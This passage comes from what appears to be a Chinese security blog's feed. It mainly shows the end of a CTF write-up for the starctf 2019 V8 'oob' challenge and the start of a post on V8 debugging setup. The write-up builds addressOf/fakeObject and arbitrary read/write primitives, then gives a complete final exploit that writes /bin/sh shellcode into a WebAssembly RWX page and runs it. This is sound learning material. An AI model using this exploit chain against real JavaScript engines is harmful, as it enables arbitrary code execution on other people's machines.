class="line">- sign: 0</span><br><span class="line">- digits:</span><br><span class="line">    0x1b4ab9602ed9</span><br></pre></td></tr></table></figure></div><p><code>digits</code>成员和<code>farray</code>的map地址相同，定义函数<code>getMap()</code></p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">get_map</span>(<span class="params">farray</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">float_to_int</span>(farray.<span class="title function_">oob</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="写入测试"><a href="#写入测试" class="headerlink" title="写入测试"></a>写入测试</h3><p>定义函数</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">set_map</span>(<span class="params">farray, value</span>)</span><br><span class="line">&#123;</span><br><span class="line">    farray.<span class="title function_">oob</span>(<span class="title function_">int_to_float</span>(value));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>在<code>%SystemBreak()</code>之前插入代码</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">set_map</span>(farray1, x-<span class="number">0x100n</span>);</span><br></pre></td></tr></table></figure></div><p>进行调试</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/16gx 0x28a064b8f489-1</span><br><span class="line">0x28a064b8f488:0x000026ea29dc2dd90x00003c35f3fc0c71</span><br><span class="line">0x28a064b8f498:0x000028a064b8f4710x0000000100000000</span><br><span class="line">0x28a064b8f4a8:0x00003c35f3fc12c90x0000000100000000</span><br><span class="line">0x28a064b8f4b8:0x00000400000000000x00003c35f3fc0561</span><br><span class="line">0x28a064b8f4c8:0x000026ea29dc2ed90x00003c35f3fc12c9</span><br><span class="line">0x28a064b8f4d8:0x00000001000000000x0000040000000000</span><br><span class="line">0x28a064b8f4e8:0x00003c35f3fc13b90x0000000000000002</span><br><span class="line">0x28a064b8f4f8:0x000026ea29dc2ed90x00003c35f3fc0941</span><br><span class="line">pwndbg&gt; job 0x28a064b8f4e9</span><br><span class="line">0x28a064b8f4e9: [BigInt]</span><br><span class="line"> - map: 0x3c35f3fc13b9 &lt;Map&gt;</span><br><span class="line">- length: 1</span><br><span class="line">- sign: 0</span><br><span class="line">- digits:</span><br><span class="line">    0x26ea29dc2ed9</span><br></pre></td></tr></table></figure></div><p>可以看到<code>farray</code>的map值已经被设置成<code>x-0x100n</code>的值了</p><h2 id="任意地址读-写"><a href="#任意地址读-写" class="headerlink" title="任意地址读&#x2F;写"></a>任意地址读&#x2F;写</h2><h3 id="addressOf"><a href="#addressOf" class="headerlink" title="addressOf"></a>addressOf</h3><p>尝试编写获取对象地址的函数</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> double_array = [<span class="number">2.1</span>];</span><br><span class="line"><span class="keyword">var</span> obj = &#123;<span class="string">&quot;a&quot;</span>:<span class="number">1</span>&#125;;</span><br><span class="line"><span class="keyword">var</span> obj_array = [obj];</span><br><span class="line"><span class="keyword">var</span> double_array_map = <span class="title function_">get_map</span>(double_array);</span><br><span class="line"><span class="keyword">var</span> obj_array_map = <span class="title function_">get_map</span>(obj_array);</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">addressOf</span>(<span class="params">target_var</span>)</span><br><span class="line">&#123;</span><br><span class="line">    obj_array[<span class="number">0</span>] = target_var;</span><br><span class="line">    <span class="title function_">set_map</span>(obj_array, double_array_map);</span><br><span class="line">    <span class="keyword">var</span> target_var_addr = <span class="title function_">float_to_int</span>(obj_array[<span class="number">0</span>])-<span class="number">1n</span>;</span><br><span class="line">    <span class="title function_">set_map</span>(obj_array, obj_array_map);</span><br><span class="line">    <span class="keyword">return</span> target_var_addr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><blockquote><p>在此脚本之前，我按照我自己的想法写了一个</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">addressOf</span>(<span class="params">target_var</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> double_array = [<span class="number">2.1</span>];</span><br><span class="line">    <span class="keyword">var</span> double_array_map = <span class="title function_">get_map</span>(double_array);</span><br><span class="line">    <span class="keyword">var</span> obj_array = [target_var];</span><br><span class="line">    <span class="title function_">set_map</span>(obj_array, double_array_map);</span><br><span class="line">    <span class="keyword">var</span> target_var_addr = <span class="title function_">float_to_int</span>(obj_array[<span class="number">0</span>])-<span class="number">1n</span>;</span><br><span class="line">    <span class="keyword">return</span> target_var_addr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>不过这个脚本并不能按照预期内存布局工作，在这个脚本中，<code>obj_array</code>对象的<code>elements</code>结构体没有和对象结构体挨在一起，导致修改map无法成功。（具体原因不太清楚</p></blockquote><h3 id="fakeObject"><a href="#fakeObject" class="headerlink" title="fakeObject"></a>fakeObject</h3><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fakeObject</span>(<span class="params">target_addr</span>)</span><br><span class="line">&#123;</span><br><span class="line">    double_array[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(target_addr+<span class="number">1n</span>);</span><br><span class="line">    <span class="title function_">set_map</span>(double_array, obj_array_map);</span><br><span class="line">    <span class="keyword">var</span> fake_obj = double_array[<span class="number">0</span>];</span><br><span class="line">    <span class="title function_">set_map</span>(double_array, double_array_map);</span><br><span class="line">    <span class="keyword">return</span> fake_obj;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="AAR"><a href="#AAR" class="headerlink" title="AAR"></a>AAR</h3><p>此处AAR的编写并不能依照之前提到的模板来编写，因为这个d8版本较低，并没有目前d8的地址压缩</p><p>编写完成的AAR为</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> fake_array = [<span class="title function_">int_to_float</span>(double_array_map),<span class="number">0</span>,<span class="title function_">int_to_float</span>(<span class="number">0x4141414141414141n</span>)];</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">AAR</span>(<span class="params">addr</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> fake_obj_addr = <span class="title function_">addressOf</span>(fake_array)+<span class="number">0x58n</span>;</span><br><span class="line">    fake_array[<span class="number">2</span>] = <span class="title function_">int_to_float</span>(addr-<span class="number">0x10n</span>+<span class="number">1n</span>);</span><br><span class="line">    <span class="keyword">var</span> fake_obj = <span class="title function_">fakeObject</span>(fake_obj_addr);</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">float_to_int</span>(fake_obj[<span class="number">0</span>]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="AAW"><a href="#AAW" class="headerlink" title="AAW"></a>AAW</h3><p>同理，AAW为</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">AAW</span>(<span class="params">addr, value</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> fake_obj_addr = <span class="title function_">addressOf</span>(fake_array)+<span class="number">0x58n</span>;</span><br><span class="line">    fake_array[<span class="number">2</span>] = <span class="title function_">int_to_float</span>(addr-<span class="number">0x10n</span>+<span class="number">1n</span>);</span><br><span class="line">    <span class="keyword">var</span> fake_obj = <span class="title function_">fakeObject</span>(fake_obj_addr);</span><br><span class="line">    fake_obj[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(value);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="写入shellcode"><a href="#写入shellcode" class="headerlink" title="写入shellcode"></a>写入shellcode</h2><p>在实现任意地址读写后，就可以写入shellcode了。可以直接按照之前提到的shellcode模板来写入，只需要在其中修改一下<code>backing_store</code>成员的偏移即可</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">shellcode_write</span>(<span class="params">addr,shellcode</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> data_buf = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(shellcode.<span class="property">length</span>*<span class="number">8</span>);</span><br><span class="line">    <span class="keyword">var</span> data_view = <span class="keyword">new</span> <span class="title class_">DataView</span>(data_buf);</span><br><span class="line">    <span class="keyword">var</span> buf_backing_store_addr=<span class="title function_">addressOf</span>(data_buf)+<span class="number">0x20n</span>;</span><br><span class="line">    <span class="title function_">AAW</span>(buf_backing_store_addr,addr);</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i=<span class="number">0</span>;i&lt;shellcode.<span class="property">length</span>;++i)</span><br><span class="line">        data_view.<span class="title function_">setFloat64</span>(i*<span class="number">8</span>,<span class="title function_">int_to_float</span>(shellcode[i]),<span class="literal">true</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="最终exp"><a href="#最终exp" class="headerlink" title="最终exp"></a>最终exp</h2><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> wasmCode = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>([<span class="number">0</span>,<span class="number">97</span>,<span class="number">115</span>,<span class="number">109</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">133</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">96</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">127</span>,<span class="number">3</span>,<span class="number">130</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">112</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">5</span>,<span class="number">131</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">129</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">7</span>,<span class="number">145</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">6</span>,<span class="number">109</span>,<span class="number">101</span>,<span class="number">109</span>,<span class="number">111</span>,<span class="number">114</span>,<span class="number">121</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">109</span>,<span class="number">97</span>,<span class="number">105</span>,<span class="number">110</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">10</span>,<span class="number">138</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">65</span>,<span class="number">42</span>,<span class="number">11</span>]);</span><br><span class="line"><span class="keyword">var</span> wasmModule = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Module</span>(wasmCode);</span><br><span class="line"><span class="keyword">var</span> wasmInstance = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Instance</span>(wasmModule, &#123;&#125;);</span><br><span class="line"><span class="keyword">var</span> f = wasmInstance.<span class="property">exports</span>.<span class="property">main</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> f64 = <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="number">1</span>);</span><br><span class="line"><span class="keyword">var</span> bigUint64 = <span class="keyword">new</span> <span class="title class_">BigUint64Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"><span class="keyword">var</span> u32 = <span class="keyword">new</span> <span class="title class_">Uint32Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">float_to_int</span>(<span class="params">f</span>)  </span><br><span class="line">&#123;  </span><br><span class="line">    f64[<span class="number">0</span>] = f;  </span><br><span class="line">    <span class="keyword">return</span> bigUint64[<span class="number">0</span>];  </span><br><span class="line">&#125;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">function</span> <span class="title function_">int_to_float</span>(<span class="params">i</span>)  </span><br><span class="line">&#123;  </span><br><span class="line">    bigUint64[<span class="number">0</span>] = i;  </span><br><span class="line">    <span class="keyword">return</span> f64[<span class="number">0</span>];  </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">get_map</span>(<span class="params">farray</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">float_to_int</span>(farray.<span class="title function_">oob</span>());</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">set_map</span>(<span class="params">farray, value</span>)</span><br><span class="line">&#123;</span><br><span class="line">    farray.<span class="title function_">oob</span>(<span class="title function_">int_to_float</span>(value));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> double_array = [<span class="number">2.1</span>];</span><br><span class="line"><span class="keyword">var</span> obj = &#123;<span class="string">&quot;a&quot;</span>:<span class="number">1</span>&#125;;</span><br><span class="line"><span class="keyword">var</span> obj_array = [obj];</span><br><span class="line"><span class="keyword">var</span> double_array_map = <span class="title function_">get_map</span>(double_array);</span><br><span class="line"><span class="keyword">var</span> obj_array_map = <span class="title function_">get_map</span>(obj_array);</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">addressOf</span>(<span class="params">target_var</span>)</span><br><span class="line">&#123;</span><br><span class="line">    obj_array[<span class="number">0</span>] = target_var;</span><br><span class="line">    <span class="title function_">set_map</span>(obj_array, double_array_map);</span><br><span class="line">    <span class="keyword">var</span> target_var_addr = <span class="title function_">float_to_int</span>(obj_array[<span class="number">0</span>])-<span class="number">1n</span>;</span><br><span class="line">    <span class="title function_">set_map</span>(obj_array, obj_array_map);</span><br><span class="line">    <span class="keyword">return</span> target_var_addr;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fakeObject</span>(<span class="params">target_addr</span>)</span><br><span class="line">&#123;</span><br><span class="line">    double_array[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(target_addr+<span class="number">1n</span>);</span><br><span class="line">    <span class="title function_">set_map</span>(double_array, obj_array_map);</span><br><span class="line">    <span class="keyword">var</span> fake_obj = double_array[<span class="number">0</span>];</span><br><span class="line">    <span class="title function_">set_map</span>(double_array, double_array_map);</span><br><span class="line">    <span class="keyword">return</span> fake_obj;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> fake_array = [<span class="title function_">int_to_float</span>(double_array_map),<span class="number">0</span>,<span class="title function_">int_to_float</span>(<span class="number">0x4141414141414141n</span>)];</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">AAR</span>(<span class="params">addr</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> fake_obj_addr = <span class="title function_">addressOf</span>(fake_array)+<span class="number">0x58n</span>;</span><br><span class="line">    fake_array[<span class="number">2</span>] = <span class="title function_">int_to_float</span>(addr-<span class="number">0x10n</span>+<span class="number">1n</span>);</span><br><span class="line">    <span class="keyword">var</span> fake_obj = <span class="title function_">fakeObject</span>(fake_obj_addr);</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">float_to_int</span>(fake_obj[<span class="number">0</span>]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">AAW</span>(<span class="params">addr, value</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> fake_obj_addr = <span class="title function_">addressOf</span>(fake_array)+<span class="number">0x58n</span>;</span><br><span class="line">    fake_array[<span class="number">2</span>] = <span class="title function_">int_to_float</span>(addr-<span class="number">0x10n</span>+<span class="number">1n</span>);</span><br><span class="line">    <span class="keyword">var</span> fake_obj = <span class="title function_">fakeObject</span>(fake_obj_addr);</span><br><span class="line">    fake_obj[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(value);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">shellcode_write</span>(<span class="params">addr,shellcode</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> data_buf = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(shellcode.<span class="property">length</span>*<span class="number">8</span>);</span><br><span class="line">    <span class="keyword">var</span> data_view = <span class="keyword">new</span> <span class="title class_">DataView</span>(data_buf);</span><br><span class="line">    <span class="keyword">var</span> buf_backing_store_addr=<span class="title function_">addressOf</span>(data_buf)+<span class="number">0x20n</span>;</span><br><span class="line">    <span class="title function_">AAW</span>(buf_backing_store_addr,addr);</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i=<span class="number">0</span>;i&lt;shellcode.<span class="property">length</span>;++i)</span><br><span class="line">        data_view.<span class="title function_">setFloat64</span>(i*<span class="number">8</span>,<span class="title function_">int_to_float</span>(shellcode[i]),<span class="literal">true</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wasmInstanceAddr = <span class="title function_">addressOf</span>(wasmInstance);</span><br><span class="line"><span class="keyword">var</span> rwx_addr = <span class="title function_">AAR</span>(wasmInstanceAddr+<span class="number">0x88n</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//Linux x64</span></span><br><span class="line"><span class="keyword">var</span> shellcode = [  </span><br><span class="line">  <span class="number">0x2fbb485299583b6an</span>,  </span><br><span class="line">  <span class="number">0x5368732f6e69622fn</span>,  </span><br><span class="line">  <span class="number">0x050f5e5457525f54n</span>  </span><br><span class="line">];</span><br><span class="line"><span class="title function_">shellcode_write</span>(rwx_addr, shellcode);</span><br><span class="line"><span class="title function_">f</span>();</span><br></pre></td></tr></table></figure></div>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/10/12/V8/V8%E5%88%A9%E7%94%A8(2)-starctf2019-oob/</id>
    <link href="https://staticccccccc.github.io/2024/10/12/V8/V8%E5%88%A9%E7%94%A8(2)-starctf2019-oob/"/>
    <published>2024-10-12T13:30:00.000Z</published>
    <summary>
      <![CDATA[<p>该题目复现参考<a class="link"   href="https://nobb.site/2021/12/02/0x6B/" >从0开始学V8漏洞利用之starctf 2019 OOB（三） - Hc1m1 (nobb.site)<i class="fa-solid]]>
    </summary>
    <title>V8利用(2)-starctf2019-oob</title>
    <updated>2024-10-12T13:30:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="V8" scheme="https://staticccccccc.github.io/categories/V8/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>V8系列文章均基于<a class="link"   href="https://github.com/ErodedElk/Chaos-me-JavaScript-V8" >https://github.com/ErodedElk/Chaos-me-JavaScript-V8<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>以及<a class="link"   href="https://nobb.site/2021/12/01/0x69/" >从0开始学V8漏洞利用之环境搭建（一） - Hc1m1 (nobb.site)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>踩雷后发现尽量用ubuntu 20.04，我用的22.04一堆报错。</p><p>环境配置请直接看上面链接，Toka✌太强了</p><h2 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h2><p>先编写(复制)调试样本测试：</p><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//demo.js</span></span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br><span class="line"><span class="keyword">var</span> wasmCode = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>([<span class="number">0</span>,<span class="number">97</span>,<span class="number">115</span>,<span class="number">109</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">133</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">96</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">127</span>,<span class="number">3</span>,<span class="number">130</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">112</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">5</span>,<span class="number">131</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">129</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">7</span>,<span class="number">145</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">6</span>,<span class="number">109</span>,<span class="number">101</span>,<span class="number">109</span>,<span class="number">111</span>,<span class="number">114</span>,<span class="number">121</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">109</span>,<span class="number">97</span>,<span class="number">105</span>,<span class="number">110</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">10</span>,<span class="number">138</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">65</span>,<span class="number">42</span>,<span class="number">11</span>]);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wasmModule = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Module</span>(wasmCode);</span><br><span class="line"><span class="keyword">var</span> wasmInstance = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Instance</span>(wasmModule, &#123;&#125;);</span><br><span class="line"><span class="keyword">var</span> f = wasmInstance.<span class="property">exports</span>.<span class="property">main</span>;</span><br><span class="line">%<span class="title class_">DebugPrint</span>(f);</span><br><span class="line">%<span class="title class_">DebugPrint</span>(wasmInstance);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure></div><p>保存为demo.js</p><p>然后进入<code>v8/out/x64_$name.release</code>目录下可以看到d8（真正解析执行js代码），然后<code>gdb d8</code></p><div class="code-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">在gdb中执行</span><br><span class="line">r --allow-native-syntax demo.js的路径</span><br><span class="line">c</span><br></pre></td></tr></table></figure></div><p>然后看到<code>DebugPrint</code>输出了一些信息，并且程序产生了中断</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span 